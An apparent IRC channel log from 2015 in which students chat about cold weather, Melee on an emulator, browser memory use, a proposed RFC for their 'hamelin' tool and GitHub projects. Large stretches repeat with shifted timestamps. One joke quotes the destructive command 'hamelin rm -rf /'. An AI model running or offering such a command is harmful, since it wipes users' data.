[2015-02-13T00:38:49-0500] <bob_twinkles> the size/position of controls is spread out across like 4 properties according to MSDN
[2015-02-13T00:38:57-0500] <bob_twinkles> so I really have no idea what they want there
[2015-02-13T00:41:11-0500] <LittleBobbyTables> yeee
[2015-02-13T00:41:12-0500] <LittleBobbyTables> :/
[2015-02-13T01:46:11-0500] <LittleBobbyTables> Man, I hope it doesn't rain this Saturday.
[2015-02-13T02:06:39-0500] <+awe> Can someone offer me assistance with probability?
[2015-02-13T02:06:43-0500] <+awe> LittleBobbyTables: you're probably the only one up?
[2015-02-13T02:06:59-0500] <+awe> http://people.cs.umass.edu/~mcgregor/240S15/hw1.pdf I need to figure out how to 5.2.
[2015-02-13T02:28:08-0500] <+awe> Nevermind.
[2015-02-13T02:28:11-0500] <+awe> I finished.
[2015-02-13T07:36:52-0500] <JacobEdelman_> LittleBobbyTables: my (younger) cousin was there with his which he built himself, its a very good gaming rig, several of these people had serious, good, desktops
[2015-02-13T07:36:54-0500] <JacobEdelman_> also
[2015-02-13T07:37:18-0500] <JacobEdelman_> LittleBobbyTables: one of them was playing osu and was very impressed when I told him I knew cptnxn over the internets
[2015-02-13T07:37:46-0500] <JacobEdelman_> (in other news, I am very bad at dota)
[2015-02-13T07:42:19-0500] <JacobEdelman_> also, gmorning all
[2015-02-13T08:53:22-0500] <LittleBobbyTables> ^_^
[2015-02-13T08:53:59-0500] <apothy> Salutations LittleBobbyTables 
[2015-02-13T08:54:16-0500] <apothy> Horrible weather we're having.
[2015-02-13T08:54:20-0500] <apothy> It's 8 degrees here .-.
[2015-02-13T08:55:42-0500] <LittleBobbyTables> Celcius, right?
[2015-02-13T08:58:28-0500] <apothy> False.
[2015-02-13T08:58:30-0500] <apothy> Kevlin.
[2015-02-13T08:58:33-0500] <apothy> Kelvin*
[2015-02-13T09:02:03-0500] <LittleBobbyTables> So you're literally burning
[2015-02-13T09:40:47-0500] <JacobEdelman_> the air outside of my classroom is a liquid, should I swim in it?
[2015-02-13T09:51:05-0500] <LittleBobbyTables> yes
[2015-02-13T09:52:49-0500] <JacobEdelman_> oh wait, too late, 
[2015-02-13T09:52:52-0500] <JacobEdelman_> its a solid now
[2015-02-13T10:28:54-0500] <+hardmath123> Friday the 13th. Dun dun dunnnnnnnnnnnnnnnn.
[2015-02-13T10:29:01-0500] <+hardmath123> (Obligatory.)
[2015-02-13T10:37:04-0500] <+hardmath123> JacobEdelman_: We have 100 stars on nearley's Github!
[2015-02-13T10:37:43-0500] <JacobEdelman_> cool!
[2015-02-13T13:11:35-0500] <+hardmath123> awe: wanna see if we can make hamelin an official RFC? if you help me with my spec-writing and we have a few reference implementations, I think it's a pretty legit RFC-able thing.
[2015-02-13T13:11:55-0500] <+hardmath123> awe: http://www.ietf.org/proceedings/62/slides/editor-0.pdf
[2015-02-13T13:18:08-0500] Mode is +nt
[2015-02-13T13:18:36-0500] <+awe> hardmath123: Hmm, that'd be interesting.
[2015-02-13T13:19:20-0500] <+awe> apothy: it's colder here, so shush.
[2015-02-13T13:19:38-0500] <+awe> apothy: when you were complaining about it being 8 degrees, it was 0 here.
[2015-02-13T13:28:26-0500] <+awe> hardmath123: Oh god.
[2015-02-13T13:28:31-0500] <+awe> hardmath123: We'd have to determine security considerations.
[2015-02-13T13:28:34-0500] <+awe> hardmath123: there are a lot of them here.
[2015-02-13T13:30:52-0500] <+hardmath123> awe: Well, not that many. You don't need to mention, for example, that you shouldn't run "hamelin rm -rf /".
[2015-02-13T13:31:22-0500] <+awe> Well, no, but there's probably security issues with the execution model.
[2015-02-13T13:31:55-0500] <+hardmath123> In a thread-safety/file locking sense?
[2015-02-13T13:32:22-0500] <+awe> Probably, and possibly others.
[2015-02-13T13:32:28-0500] <+awe> I dunno. I'd have to think about it more.
[2015-02-13T13:32:40-0500] <+awe> Also, guys, I'm going to be missing for at least 24 hours starting around 5 pm.
[2015-02-13T13:32:46-0500] <+awe> Please don't break everything.
[2015-02-13T13:33:35-0500] <apothy> Alright.
[2015-02-13T13:33:40-0500] <apothy> We'll just break a few things.
[2015-02-13T13:33:47-0500] <+hardmath123> "missing"
[2015-02-13T13:33:56-0500] <+awe> I will not have access to a computer.
[2015-02-13T13:33:58-0500] <+awe> At all.
[2015-02-13T13:34:05-0500] <apothy> Btw, JacobEdelman_ is playing melee on his computer, so we should ping him several times.
[2015-02-13T13:34:17-0500] <+awe> I've been playing Melee on my desktop a lot. :p
[2015-02-13T13:34:18-0500] <+hardmath123> JacobEdelman_: JacobEdelman_ JacobEdelman_ JacobEdelman_ JacobEdelman_ JacobEdelman_ JacobEdelman_ JacobEdelman_ 
[2015-02-13T13:34:22-0500] <+awe> JacobEdelman_: this is important.
[2015-02-13T13:34:26-0500] <+awe> JacobEdelman_: you suck.
[2015-02-13T13:34:32-0500] <apothy> JacobEdelman_: Get your priorities straight.
[2015-02-13T13:34:36-0500] <apothy> JacobEdelman_: pdgn > melee
[2015-02-13T13:34:39-0500] <+awe> JacobEdelman_: quit your day job.
[2015-02-13T13:34:43-0500] <+hardmath123> inb4 he's actually JacobEdelman, not JacobEdelman_, so the pings don't reach him.
[2015-02-13T13:34:49-0500] <+awe> he's both.
[2015-02-13T13:34:50-0500] <+awe> :D
[2015-02-13T13:34:51-0500] <+awe> Yay.
[2015-02-13T13:34:55-0500] <apothy> wooo
[2015-02-13T13:35:02-0500] <+awe> He's at school which means he's probably on JacobEdelman_ 
[2015-02-13T13:35:23-0500] <apothy> Darn, he's too distracted by the game.
[2015-02-13T13:35:36-0500] <apothy> Lol he's getting rekt.
[2015-02-13T13:35:50-0500] <apothy> It's 3-3-1 right now against a few other people
[2015-02-13T13:35:55-0500] <apothy> He's the 1 stock guy.
[2015-02-13T13:36:27-0500] <apothy> He lost :P
[2015-02-13T13:36:35-0500] <+awe> Lol.
[2015-02-13T13:36:40-0500] <apothy> jacob: i won last game
[2015-02-13T13:36:45-0500] <+awe> Well, if it's not 1v1 or 2v2, it doesn't really count.
[2015-02-13T13:36:45-0500] <apothy> jacob: so ha
[2015-02-13T13:37:06-0500] <apothy> awe: He still got rekt either way :P
[2015-02-13T13:37:23-0500] <+awe> But I mean, there's so much chaos in an FFA, it's not really much of a skill indication.
[2015-02-13T13:37:34-0500] <+awe> I regularly beat my friend who's way better than me in a 3 person FFA.
[2015-02-13T13:37:44-0500] <+awe> Why? Because he's busy dealing with someone else and I take advantage of it.
[2015-02-13T13:37:50-0500] <+awe> And then I wrekt the third person because he's bad.
[2015-02-13T13:38:21-0500] <apothy> Hm
[2015-02-13T13:38:31-0500] <apothy> We should play against JacobEdelman_ then
[2015-02-13T13:38:33-0500] <apothy> 1v1 or 2v2
[2015-02-13T13:39:19-0500] <+awe> I can 1v1 JacobEdelman_ online.
[2015-02-13T13:39:36-0500] <+awe> But not today.
[2015-02-13T13:39:37-0500] <apothy> Do it and put it on twitch.
[2015-02-13T13:39:38-0500] <apothy> Aw.
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[2015-02-13T14:15:14-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-13T13:28:35-0500] <+awe> hardmath123: there are a lot of them here.
[2015-02-13T13:30:53-0500] <+hardmath123> awe: Well, not that many. You don't need to mention, for example, that you shouldn't run "hamelin rm -rf /".
[2015-02-13T13:31:23-0500] <+awe> Well, no, but there's probably security issues with the execution model.
[2015-02-13T13:31:56-0500] <+hardmath123> In a thread-safety/file locking sense?
[2015-02-13T13:32:23-0500] <+awe> Probably, and possibly others.
[2015-02-13T13:32:29-0500] <+awe> I dunno. I'd have to think about it more.
[2015-02-13T13:32:41-0500] <+awe> Also, guys, I'm going to be missing for at least 24 hours starting around 5 pm.
[2015-02-13T13:32:47-0500] <+awe> Please don't break everything.
[2015-02-13T13:33:35-0500] <apothy> Alright.
[2015-02-13T13:33:41-0500] <apothy> We'll just break a few things.
[2015-02-13T13:33:48-0500] <+hardmath123> "missing"
[2015-02-13T13:33:57-0500] <+awe> I will not have access to a computer.
[2015-02-13T13:33:58-0500] <+awe> At all.
[2015-02-13T13:34:06-0500] <apothy> Btw, JacobEdelman_ is playing melee on his computer, so we should ping him several times.
[2015-02-13T13:34:18-0500] <+hardmath123> JacobEdelman_: JacobEdelman_ JacobEdelman_ JacobEdelman_ JacobEdelman_ JacobEdelman_ JacobEdelman_ JacobEdelman_ 
[2015-02-13T13:34:18-0500] <+awe> I've been playing Melee on my desktop a lot. :p
[2015-02-13T13:34:23-0500] <+awe> JacobEdelman_: this is important.
[2015-02-13T13:34:27-0500] <+awe> JacobEdelman_: you suck.
[2015-02-13T13:34:32-0500] <apothy> JacobEdelman_: Get your priorities straight.
[2015-02-13T13:34:37-0500] <apothy> JacobEdelman_: pdgn > melee
[2015-02-13T13:34:40-0500] <+awe> JacobEdelman_: quit your day job.
[2015-02-13T13:34:44-0500] <+hardmath123> inb4 he's actually JacobEdelman, not JacobEdelman_, so the pings don't reach him.
[2015-02-13T13:34:50-0500] <+awe> he's both.
[2015-02-13T13:34:51-0500] <+awe> :D
[2015-02-13T13:34:52-0500] <+awe> Yay.
[2015-02-13T13:34:56-0500] <apothy> wooo
[2015-02-13T13:35:03-0500] <+awe> He's at school which means he's probably on JacobEdelman_ 
[2015-02-13T13:35:24-0500] <apothy> Darn, he's too distracted by the game.
[2015-02-13T13:35:36-0500] <apothy> Lol he's getting rekt.
[2015-02-13T13:35:51-0500] <apothy> It's 3-3-1 right now against a few other people
[2015-02-13T13:35:55-0500] <apothy> He's the 1 stock guy.
[2015-02-13T13:36:28-0500] <apothy> He lost :P
[2015-02-13T13:36:36-0500] <+awe> Lol.
[2015-02-13T13:36:41-0500] <apothy> jacob: i won last game
[2015-02-13T13:36:46-0500] <+awe> Well, if it's not 1v1 or 2v2, it doesn't really count.
[2015-02-13T13:36:46-0500] <apothy> jacob: so ha
[2015-02-13T13:37:07-0500] <apothy> awe: He still got rekt either way :P
[2015-02-13T13:37:24-0500] <+awe> But I mean, there's so much chaos in an FFA, it's not really much of a skill indication.
[2015-02-13T13:37:35-0500] <+awe> I regularly beat my friend who's way better than me in a 3 person FFA.
[2015-02-13T13:37:45-0500] <+awe> Why? Because he's busy dealing with someone else and I take advantage of it.
[2015-02-13T13:37:51-0500] <+awe> And then I wrekt the third person because he's bad.
[2015-02-13T13:38:22-0500] <apothy> Hm
[2015-02-13T13:38:32-0500] <apothy> We should play against JacobEdelman_ then
[2015-02-13T13:38:34-0500] <apothy> 1v1 or 2v2
[2015-02-13T13:39:20-0500] <+awe> I can 1v1 JacobEdelman_ online.
[2015-02-13T13:39:37-0500] <+awe> But not today.
[2015-02-13T13:39:38-0500] <apothy> Do it and put it on twitch.
[2015-02-13T13:39:39-0500] <apothy> Aw.
[2015-02-13T13:56:43-0500] <JacobEdelman_> I would loose
[2015-02-13T13:56:44-0500] <JacobEdelman_> badly
[2015-02-13T14:15:15-0500] Mode is +nt
[2015-02-13T14:16:08-0500] <JacobEdelman_> hardmath123: awe: apothy: I killed my browser when I was playing SSBM in the hope of speeding up the game, so I didn't get no pings than
[2015-02-13T14:16:29-0500] <+hardmath123> ^uses browser that slows down game
[2015-02-13T14:17:22-0500] <+awe> hardmath123: >implying there are browsers that don't
[2015-02-13T14:19:04-0500] <+hardmath123> awe: vDoesn't use Safari
[2015-02-13T14:19:12-0500] <+awe> ?
[2015-02-13T14:19:27-0500] <+hardmath123> Safari is fast.
[2015-02-13T14:19:47-0500] <+awe> "fast"
[2015-02-13T14:19:54-0500] <+awe> It's terribly non-performant.
[2015-02-13T14:19:56-0500] <+awe> All browsers are.
[2015-02-13T14:20:04-0500] <+hardmath123> Safari is faster than Chrome.
[2015-02-13T14:20:07-0500] <+awe> They're sluggish, and have ludicrous memory requirements.
[2015-02-13T14:20:08-0500] <+hardmath123> For my use-case.
[2015-02-13T14:20:10-0500] <+awe> Oh, no doubt.
[2015-02-13T14:20:15-0500] <+awe> But the memory requirements of Safari are still insane.
[2015-02-13T14:20:43-0500] <+awe> The web is full of ridiculous memory-bloat where programmers like JacobEdelman_ are writing all the software and pay no regard to resources at all.
[2015-02-13T14:21:09-0500] <JacobEdelman_> umm... I had 50 something tabs open I think
[2015-02-13T14:21:25-0500] <+awe> Web browsers are bad when they have 5 tabs open.
[2015-02-13T14:21:25-0500] <JacobEdelman_> thats why I closed it
[2015-02-13T14:21:32-0500] <+awe> So, yeah, I understand.
[2015-02-13T14:21:39-0500] <JacobEdelman_> (ps: it didn't make a difference, although changing the max frame rate did)
[2015-02-13T14:21:44-0500] <+awe> ???
[2015-02-13T14:21:45-0500] <+awe> Wat?
[2015-02-13T14:22:00-0500] <+awe> Did you use frame-skipping?
[2015-02-13T14:22:01-0500] <+awe> Lol.
[2015-02-13T14:22:05-0500] <+awe> That's awful.
[2015-02-13T14:22:16-0500] <JacobEdelman_> it has no max framerate by default
[2015-02-13T14:22:22-0500] <+awe> That's not true.
[2015-02-13T14:22:23-0500] <JacobEdelman_> so I set it to 60 which didn't make a diff really
[2015-02-13T14:22:32-0500] <JacobEdelman_> (this is for the emulator)
[2015-02-13T14:22:34-0500] <+awe> Dolphin should run games at 60 FPS because that's native.
[2015-02-13T14:22:45-0500] <JacobEdelman_> fine, well, thats what I set it too anyway
[2015-02-13T14:22:45-0500] <JacobEdelman_> than
[2015-02-13T14:22:50-0500] <+awe> You need to enable something to run higher than 60, I believe.
[2015-02-13T14:22:53-0500] <JacobEdelman_> than 30 made it smooth but rather slow
[2015-02-13T14:22:56-0500] <JacobEdelman_> and 40 seemed good
[2015-02-13T14:23:04-0500] <+awe> Holding tab disables the 60 fps frame limiting.
[2015-02-13T14:23:06-0500] <+awe> LOL.
[2015-02-13T14:23:13-0500] <+awe> that's a HUGE difference.
[2015-02-13T14:23:28-0500] <+awe> I'd consider 40 to be rather unplayable.
[2015-02-13T14:23:37-0500] <+awe> It's a game that's all about timing.
[2015-02-13T14:30:05-0500] <JacobEdelman_> https://github.com/JacobEdelman/nim-neural-networks/blob/master/multilayer.nim
[2015-02-13T14:30:11-0500] <JacobEdelman_> my neural network in nim is now only
[2015-02-13T14:30:21-0500] <JacobEdelman_> *online
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[2015-02-13T14:33:53-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-13T13:38:34-0500] <apothy> 1v1 or 2v2
[2015-02-13T13:39:20-0500] <+awe> I can 1v1 JacobEdelman_ online.
[2015-02-13T13:39:37-0500] <+awe> But not today.
[2015-02-13T13:39:38-0500] <apothy> Do it and put it on twitch.
[2015-02-13T13:39:39-0500] <apothy> Aw.
[2015-02-13T13:56:43-0500] <JacobEdelman_> I would loose
[2015-02-13T13:56:44-0500] <JacobEdelman_> badly
[2015-02-13T14:16:09-0500] <JacobEdelman_> hardmath123: awe: apothy: I killed my browser when I was playing SSBM in the hope of speeding up the game, so I didn't get no pings than
[2015-02-13T14:16:30-0500] <+hardmath123> ^uses browser that slows down game
[2015-02-13T14:17:23-0500] <+awe> hardmath123: >implying there are browsers that don't
[2015-02-13T14:19:05-0500] <+hardmath123> awe: vDoesn't use Safari
[2015-02-13T14:19:13-0500] <+awe> ?
[2015-02-13T14:19:28-0500] <+hardmath123> Safari is fast.
[2015-02-13T14:19:48-0500] <+awe> "fast"
[2015-02-13T14:19:54-0500] <+awe> It's terribly non-performant.
[2015-02-13T14:19:57-0500] <+awe> All browsers are.
[2015-02-13T14:20:05-0500] <+hardmath123> Safari is faster than Chrome.
[2015-02-13T14:20:08-0500] <+awe> They're sluggish, and have ludicrous memory requirements.
[2015-02-13T14:20:09-0500] <+hardmath123> For my use-case.
[2015-02-13T14:20:10-0500] <+awe> Oh, no doubt.
[2015-02-13T14:20:16-0500] <+awe> But the memory requirements of Safari are still insane.
[2015-02-13T14:20:44-0500] <+awe> The web is full of ridiculous memory-bloat where programmers like JacobEdelman_ are writing all the software and pay no regard to resources at all.
[2015-02-13T14:21:09-0500] <JacobEdelman_> umm... I had 50 something tabs open I think
[2015-02-13T14:21:26-0500] <+awe> Web browsers are bad when they have 5 tabs open.
[2015-02-13T14:21:26-0500] <JacobEdelman_> thats why I closed it
[2015-02-13T14:21:33-0500] <+awe> So, yeah, I understand.
[2015-02-13T14:21:40-0500] <JacobEdelman_> (ps: it didn't make a difference, although changing the max frame rate did)
[2015-02-13T14:21:44-0500] <+awe> ???
[2015-02-13T14:21:46-0500] <+awe> Wat?
[2015-02-13T14:22:01-0500] <+awe> Did you use frame-skipping?
[2015-02-13T14:22:02-0500] <+awe> Lol.
[2015-02-13T14:22:06-0500] <+awe> That's awful.
[2015-02-13T14:22:16-0500] <JacobEdelman_> it has no max framerate by default
[2015-02-13T14:22:23-0500] <+awe> That's not true.
[2015-02-13T14:22:24-0500] <JacobEdelman_> so I set it to 60 which didn't make a diff really
[2015-02-13T14:22:33-0500] <JacobEdelman_> (this is for the emulator)
[2015-02-13T14:22:34-0500] <+awe> Dolphin should run games at 60 FPS because that's native.
[2015-02-13T14:22:45-0500] <JacobEdelman_> fine, well, thats what I set it too anyway
[2015-02-13T14:22:46-0500] <JacobEdelman_> than
[2015-02-13T14:22:51-0500] <+awe> You need to enable something to run higher than 60, I believe.
[2015-02-13T14:22:54-0500] <JacobEdelman_> than 30 made it smooth but rather slow
[2015-02-13T14:22:57-0500] <JacobEdelman_> and 40 seemed good
[2015-02-13T14:23:05-0500] <+awe> Holding tab disables the 60 fps frame limiting.
[2015-02-13T14:23:06-0500] <+awe> LOL.
[2015-02-13T14:23:14-0500] <+awe> that's a HUGE difference.
[2015-02-13T14:23:29-0500] <+awe> I'd consider 40 to be rather unplayable.
[2015-02-13T14:23:37-0500] <+awe> It's a game that's all about timing.
[2015-02-13T14:30:05-0500] <JacobEdelman_> https://github.com/JacobEdelman/nim-neural-networks/blob/master/multilayer.nim
[2015-02-13T14:30:11-0500] <JacobEdelman_> my neural network in nim is now only
[2015-02-13T14:30:21-0500] <JacobEdelman_> *online
[2015-02-13T14:33:54-0500] Mode is +nt
[2015-02-13T14:35:55-0500] <JacobEdelman_> (and I just added my proverb making repository)
[2015-02-13T14:36:02-0500] <JacobEdelman_> I feel bad cause I've been coding a reasonable amount
[2015-02-13T14:36:07-0500] <JacobEdelman_> but never putting it on github
[2015-02-13T14:36:11-0500] <JacobEdelman_> for a few weeks
[2015-02-13T14:52:22-0500] <+hardmath123> JacobEdelman_: leave the proverb thing on backtick with hamelin
[2015-02-13T14:52:40-0500] <+hardmath123> JacobEdelman_: Also, don't feel compelled to put everything you write on Github
[2015-02-13T15:19:43-0500] <JacobEdelman_> hardmath123: maybe later
[2015-02-13T15:19:49-0500] <JacobEdelman_> also, I don't feel compelled
[2015-02-13T15:19:54-0500] <JacobEdelman_> but it was a nice piece of code
[2015-02-13T15:19:58-0500] <JacobEdelman_> and I may expand it at some point
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[2015-02-13T14:20:09-0500] <+hardmath123> For my use-case.
[2015-02-13T14:20:10-0500] <+awe> Oh, no doubt.
[2015-02-13T14:20:16-0500] <+awe> But the memory requirements of Safari are still insane.
[2015-02-13T14:20:44-0500] <+awe> The web is full of ridiculous memory-bloat where programmers like JacobEdelman_ are writing all the software and pay no regard to resources at all.
[2015-02-13T14:21:09-0500] <JacobEdelman_> umm... I had 50 something tabs open I think
[2015-02-13T14:21:26-0500] <+awe> Web browsers are bad when they have 5 tabs open.
[2015-02-13T14:21:26-0500] <JacobEdelman_> thats why I closed it
[2015-02-13T14:21:33-0500] <+awe> So, yeah, I understand.
[2015-02-13T14:21:40-0500] <JacobEdelman_> (ps: it didn't make a difference, although changing the max frame rate did)
[2015-02-13T14:21:44-0500] <+awe> ???
[2015-02-13T14:21:46-0500] <+awe> Wat?
[2015-02-13T14:22:01-0500] <+awe> Did you use frame-skipping?
[2015-02-13T14:22:02-0500] <+awe> Lol.
[2015-02-13T14:22:06-0500] <+awe> That's awful.
[2015-02-13T14:22:16-0500] <JacobEdelman_> it has no max framerate by default
[2015-02-13T14:22:23-0500] <+awe> That's not true.
[2015-02-13T14:22:24-0500] <JacobEdelman_> so I set it to 60 which didn't make a diff really
[2015-02-13T14:22:33-0500] <JacobEdelman_> (this is for the emulator)
[2015-02-13T14:22:34-0500] <+awe> Dolphin should run games at 60 FPS because that's native.
[2015-02-13T14:22:45-0500] <JacobEdelman_> fine, well, thats what I set it too anyway
[2015-02-13T14:22:46-0500] <JacobEdelman_> than
[2015-02-13T14:22:51-0500] <+awe> You need to enable something to run higher than 60, I believe.
[2015-02-13T14:22:54-0500] <JacobEdelman_> than 30 made it smooth but rather slow
[2015-02-13T14:22:57-0500] <JacobEdelman_> and 40 seemed good
[2015-02-13T14:23:05-0500] <+awe> Holding tab disables the 60 fps frame limiting.
[2015-02-13T14:23:06-0500] <+awe> LOL.
[2015-02-13T14:23:14-0500] <+awe> that's a HUGE difference.
[2015-02-13T14:23:29-0500] <+awe> I'd consider 40 to be rather unplayable.
[2015-02-13T14:23:37-0500] <+awe> It's a game that's all about timing.
[2015-02-13T14:30:05-0500] <JacobEdelman_> https://github.com/JacobEdelman/nim-neural-networks/blob/master/multilayer.nim
[2015-02-13T14:30:11-0500] <JacobEdelman_> my neural network in nim is now only
[2015-02-13T14:30:21-0500] <JacobEdelman_> *online
[2015-02-13T14:35:55-0500] <JacobEdelman_> (and I just added my proverb making repository)
[2015-02-13T14:36:03-0500] <JacobEdelman_> I feel bad cause I've been coding a reasonable amount
[2015-02-13T14:36:08-0500] <JacobEdelman_> but never putting it on github
[2015-02-13T14:36:11-0500] <JacobEdelman_> for a few weeks
[2015-02-13T14:52:23-0500] <+hardmath123> JacobEdelman_: leave the proverb thing on backtick with hamelin
[2015-02-13T14:52:41-0500] <+hardmath123> JacobEdelman_: Also, don't feel compelled to put everything you write on Github
[2015-02-13T15:19:44-0500] <JacobEdelman_> hardmath123: maybe later
[2015-02-13T15:19:50-0500] <JacobEdelman_> also, I don't feel compelled
[2015-02-13T15:19:54-0500] <JacobEdelman_> but it was a nice piece of code
[2015-02-13T15:19:59-0500] <JacobEdelman_> and I may expand it at some point
[2015-02-13T15:32:55-0500] <JacobEdelman_> awe, nezorg; so far only 3 pieces or so pieces of spam have made it past my spam filter, into my inbox with gmail
[2015-02-13T15:32:58-0500] <JacobEdelman_> all of those pieces
[2015-02-13T15:33:02-0500] <JacobEdelman_> were about 
[2015-02-13T15:33:03-0500] <JacobEdelman_> rust
[2015-02-13T15:33:06-0500] <JacobEdelman_> cause apparentely
[2015-02-13T15:33:10-0500] <JacobEdelman_> spam people
[2015-02-13T15:33:14-0500] <JacobEdelman_> are getting my emai;
[2015-02-13T15:33:16-0500] <JacobEdelman_> *email
[2015-02-13T15:33:17-0500] Mode is +nt
[2015-02-13T15:33:22-0500] <JacobEdelman_> cause I was listed as a contributor to rust 1.0
[2015-02-13T15:33:23-0500] <JacobEdelman_> :P
[2015-02-13T15:34:03-0500] <+hardmath123> xD
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[2015-02-13T14:20:44-0500] <+awe> The web is full of ridiculous memory-bloat where programmers like JacobEdelman_ are writing all the software and pay no regard to resources at all.
[2015-02-13T14:21:09-0500] <JacobEdelman_> umm... I had 50 something tabs open I think
[2015-02-13T14:21:26-0500] <+awe> Web browsers are bad when they have 5 tabs open.
[2015-02-13T14:21:26-0500] <JacobEdelman_> thats why I closed it
[2015-02-13T14:21:33-0500] <+awe> So, yeah, I understand.
[2015-02-13T14:21:40-0500] <JacobEdelman_> (ps: it didn't make a difference, although changing the max frame rate did)
[2015-02-13T14:21:44-0500] <+awe> ???
[2015-02-13T14:21:46-0500] <+awe> Wat?
[2015-02-13T14:22:01-0500] <+awe> Did you use frame-skipping?
[2015-02-13T14:22:02-0500] <+awe> Lol.
[2015-02-13T14:22:06-0500] <+awe> That's awful.
[2015-02-13T14:22:16-0500] <JacobEdelman_> it has no max framerate by default
[2015-02-13T14:22:23-0500] <+awe> That's not true.
[2015-02-13T14:22:24-0500] <JacobEdelman_> so I set it to 60 which didn't make a diff really
[2015-02-13T14:22:33-0500] <JacobEdelman_> (this is for the emulator)
[2015-02-13T14:22:34-0500] <+awe> Dolphin should run games at 60 FPS because that's native.
[2015-02-13T14:22:45-0500] <JacobEdelman_> fine, well, thats what I set it too anyway
[2015-02-13T14:22:46-0500] <JacobEdelman_> than
[2015-02-13T14:22:51-0500] <+awe> You need to enable something to run higher than 60, I believe.
[2015-02-13T14:22:54-0500] <JacobEdelman_> than 30 made it smooth but rather slow
[2015-02-13T14:22:57-0500] <JacobEdelman_> and 40 seemed good
[2015-02-13T14:23:05-0500] <+awe> Holding tab disables the 60 fps frame limiting.
[2015-02-13T14:23:06-0500] <+awe> LOL.
[2015-02-13T14:23:14-0500] <+awe> that's a HUGE difference.
[2015-02-13T14:23:29-0500] <+awe> I'd consider 40 to be rather unplayable.
[2015-02-13T14:23:37-0500] <+awe> It's a game that's all about timing.
[2015-02-13T14:30:05-0500] <JacobEdelman_> https://github.com/JacobEdelman/nim-neural-networks/blob/master/multilayer.nim
[2015-02-13T14:30:11-0500] <JacobEdelman_> my neural network in nim is now only
[2015-02-13T14:30:21-0500] <JacobEdelman_> *online
[2015-02-13T14:35:55-0500] <JacobEdelman_> (and I just added my proverb making repository)
[2015-02-13T14:36:03-0500] <JacobEdelman_> I feel bad cause I've been coding a reasonable amount
[2015-02-13T14:36:08-0500] <JacobEdelman_> but never putting it on github
[2015-02-13T14:36:11-0500] <JacobEdelman_> for a few weeks
[2015-02-13T14:52:23-0500] <+hardmath123> JacobEdelman_: leave the proverb thing on backtick with hamelin
[2015-02-13T14:52:41-0500] <+hardmath123> JacobEdelman_: Also, don't feel compelled to put everything you write on Github
[2015-02-13T15:19:44-0500] <JacobEdelman_> hardmath123: maybe later
[2015-02-13T15:19:50-0500] <JacobEdelman_> also, I don't feel compelled
[2015-02-13T15:19:54-0500] <JacobEdelman_> but it was a nice piece of code
[2015-02-13T15:19:59-0500] <JacobEdelman_> and I may expand it at some point
[2015-02-13T15:32:55-0500] <JacobEdelman_> awe, nezorg; so far only 3 pieces or so pieces of spam have made it past my spam filter, into my inbox with gmail
[2015-02-13T15:32:58-0500] <JacobEdelman_> all of those pieces
[2015-02-13T15:33:02-0500] <JacobEdelman_> were about 
[2015-02-13T15:33:03-0500] <JacobEdelman_> rust
[2015-02-13T15:33:06-0500] <JacobEdelman_> cause apparentely
[2015-02-13T15:33:10-0500] <JacobEdelman_> spam people
[2015-02-13T15:33:14-0500] <JacobEdelman_> are getting my emai;
[2015-02-13T15:33:16-0500] <JacobEdelman_> *email
[2015-02-13T15:33:23-0500] <JacobEdelman_> cause I was listed as a contributor to rust 1.0
[2015-02-13T15:33:24-0500] <JacobEdelman_> :P
[2015-02-13T15:34:03-0500] <+hardmath123> xD
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[2015-02-13T14:20:44-0500] <+awe> The web is full of ridiculous memory-bloat where programmers like JacobEdelman_ are writing all the software and pay no regard to resources at all.
[2015-02-13T14:21:09-0500] <JacobEdelman_> umm... I had 50 something tabs open I think
[2015-02-13T14:21:26-0500] <+awe> Web browsers are bad when they have 5 tabs open.
[2015-02-13T14:21:26-0500] <JacobEdelman_> thats why I closed it
[2015-02-13T14:21:33-0500] <+awe> So, yeah, I understand.
[2015-02-13T14:21:40-0500] <JacobEdelman_> (ps: it didn't make a difference, although changing the max frame rate did)
[2015-02-13T14:21:44-0500] <+awe> ???
[2015-02-13T14:21:46-0500] <+awe> Wat?
[2015-02-13T14:22:01-0500] <+awe> Did you use frame-skipping?
[2015-02-13T14:22:02-0500] <+awe> Lol.
[2015-02-13T14:22:06-0500] <+awe> That's awful.
[2015-02-13T14:22:16-0500] <JacobEdelman_> it has no max framerate by default
[2015-02-13T14:22:23-0500] <+awe> That's not true.
[2015-02-13T14:22:24-0500] <JacobEdelman_> so I set it to 60 which didn't make a diff really
[2015-02-13T14:22:33-0500] <JacobEdelman_> (this is for the emulator)
[2015-02-13T14:22:34-0500] <+awe> Dolphin should run games at 60 FPS because that's native.
[2015-02-13T14:22:45-0500] <JacobEdelman_> fine, well, thats what I set it too anyway
[2015-02-13T14:22:46-0500] <JacobEdelman_> than
[2015-02-13T14:22:51-0500] <+awe> You need to enable something to run higher than 60, I believe.
[2015-02-13T14:22:54-0500] <JacobEdelman_> than 30 made it smooth but rather slow
[2015-02-13T14:22:57-0500] <JacobEdelman_> and 40 seemed good
[2015-02-13T14:23:05-0500] <+awe> Holding tab disables the 60 fps frame limiting.
[2015-02-13T14:23:06-0500] <+awe> LOL.
[2015-02-13T14:23:14-0500] <+awe> that's a HUGE difference.
[2015-02-13T14:23:29-0500] <+awe> I'd consider 40 to be rather unplayable.
[2015-02-13T14:23:37-0500] <+awe> It's a game that's all about timing.
[2015-02-13T14:30:05-0500] <JacobEdelman_> https://github.com/JacobEdelman/nim-neural-networks/blob/master/multilayer.nim
[2015-02-13T14:30:11-0500] <JacobEdelman_> my neural network in nim is now only
[2015-02-13T14:30:21-0500] <JacobEdelman_> *online
[2015-02-13T14:35:55-0500] <JacobEdelman_> (and I just added my proverb making repository)
[2015-02-13T14:36:03-0500] <JacobEdelman_> I feel bad cause I've been coding a reasonable amount
[2015-02-13T14:36:08-0500] <JacobEdelman_> but never putting it on github
[2015-02-13T14:36:11-0500] <JacobEdelman_> for a few weeks
[2015-02-13T14:52:23-0500] <+hardmath123> JacobEdelman_: leave the proverb thing on backtick with hamelin
[2015-02-13T14:52:41-0500] <+hardmath123> JacobEdelman_: Also, don't feel compelled to put everything you write on Github
[2015-02-13T15:19:44-0500] <JacobEdelman_> hardmath123: maybe later
[2015-02-13T15:19:50-0500] <JacobEdelman_> also, I don't feel compelled
[2015-02-13T15:19:54-0500] <JacobEdelman_> but it was a nice piece of code
[2015-02-13T15:19:59-0500] <JacobEdelman_> and I may expand it at some point
[2015-02-13T15:32:55-0500] <JacobEdelman_> awe, nezorg; so far only 3 pieces or so pieces of spam have made it past my spam filter, into my inbox with gmail
